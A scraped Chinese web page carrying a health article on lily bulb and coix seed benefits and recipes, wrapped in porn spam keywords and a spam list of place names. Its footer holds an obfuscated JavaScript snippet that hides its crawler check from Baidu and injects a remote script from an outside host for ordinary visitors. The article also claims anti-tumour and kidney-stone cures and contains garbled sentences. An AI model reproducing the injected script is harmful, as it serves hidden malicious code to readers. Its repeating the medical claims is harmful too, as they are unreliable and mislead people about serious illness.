亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當(dāng)前位置:首頁 > 飲食 > 食物營養(yǎng) > 正文

百合薏米的功效與作用是什么?

2017-07-07 16:51:31  來源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語:百合和薏米里面都含有很多的營養(yǎng)物質(zhì),每天適當(dāng)?shù)某陨弦恍?duì)人的健康都是非常有好處的,并且薏米很容易被消化,對(duì)人的皮膚也很有好處,能夠

百合和薏米里面都含有很多的營養(yǎng)物質(zhì),每天適當(dāng)?shù)某陨弦恍?duì)人的健康都是非常有好處的,并且薏米很容易被消化,對(duì)人的皮膚也很有好處,能夠有效的增強(qiáng)身體的新陳代謝能力,幫助身體排毒,下面我們一起來了解薏米百合粥的做法以及它們對(duì)于人體的一些具體的好處。

薏米的營養(yǎng)價(jià)值很高,被譽(yù)為“世界禾本科植物之王”;在歐洲,它被稱為“生命健康之禾”;在日本最近又被列為防癌食品,因此身價(jià)倍增。薏米具有容易消化吸收的特點(diǎn),不論用于滋補(bǔ)還是用于醫(yī)療,作用都很緩和。

1.【美白肌膚】:

薏仁因富含蛋白質(zhì),常食可保持皮膚光澤細(xì)膩,消除粉刺、雀斑、老年斑、妊娠斑、蝴蝶斑。若長期飲用,還可以達(dá)到滋潤肌膚的功效!

食用方法:將鮮奶煮沸,加入薏仁粉適量,攪拌均勻后食用或者每次3-5克熟薏米粉,用溫開水沖服早晚兩次。

百合薏米粥:將薏米50克、百合15克洗凈,放入鍋中,加水適量,煮至薏米熱爛,加入蜂蜜調(diào)勻,出鍋即成。

特點(diǎn):甜香,熱糯,略有清香味。

功效:此粥常吃,健脾益胃,澤膚祛斑,可用于治療婦女面部雀斑、痤瘡、濕疹等癥,對(duì)青春少女美容有益。

2.【促進(jìn)新陳代謝】:

薏仁可以促進(jìn)體內(nèi)血液和水分的新陳代謝,有利尿、消水腫等作用,并可幫助排便,所以可以幫助減輕體重。

食用方法:錢草苡米粥,將金錢草30克,放人沙鍋加水煎煮半小時(shí)濾渣留汁,放入意米100克煮成粥,加適量糖即成。

功效:利尿,排石,通淋。

作用:主治腎結(jié)石,尿路結(jié)石。

3.【防止脫發(fā)】:

具有營養(yǎng)頭發(fā),防止脫發(fā),并使頭發(fā)光滑柔軟。

食用方法:將熟薏米粉5克泡500毫升溫開水,做茶水飲料飲用。

4.【抑制骨骼肌的收縮】:

薏仁可抑制骨骼肌收縮,能減少肌肉之?dāng)伩s,縮短其疲勞曲線;能抑制橫紋肌之收縮。

5.【抗腫瘤】:

同時(shí)薏米還有抗腫瘤的作用,尤其是對(duì)于消化道所出現(xiàn)的一些腫瘤以及由于他有急事而引起的肺癌會(huì)有很好的抑制作用,同時(shí)薏米還能夠使頭發(fā)更加的光滑柔順,只是在煮玉米粥的時(shí)候,最好時(shí)間能將玉米放在清水里浸泡,這樣才能夠更加軟爛。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
积石山| 商南县| 灵宝市| 大洼县| 宿迁市| 拉萨市| 威远县| 开封县| 威信县| 汉阴县| 敦煌市| 祁阳县| 仲巴县| 通城县| 黄陵县| 仁寿县| 博爱县| 禄丰县| 浮梁县| 大石桥市| 建阳市| 铜鼓县| 桐柏县| 汶川县| 钟祥市| 古田县| 湛江市| 客服| 上饶市| 马尔康县| 金湖县| 上思县| 海原县| 大港区| 平邑县| 会理县| 新绛县| 毕节市| 尖扎县| 射洪县| 蒙山县|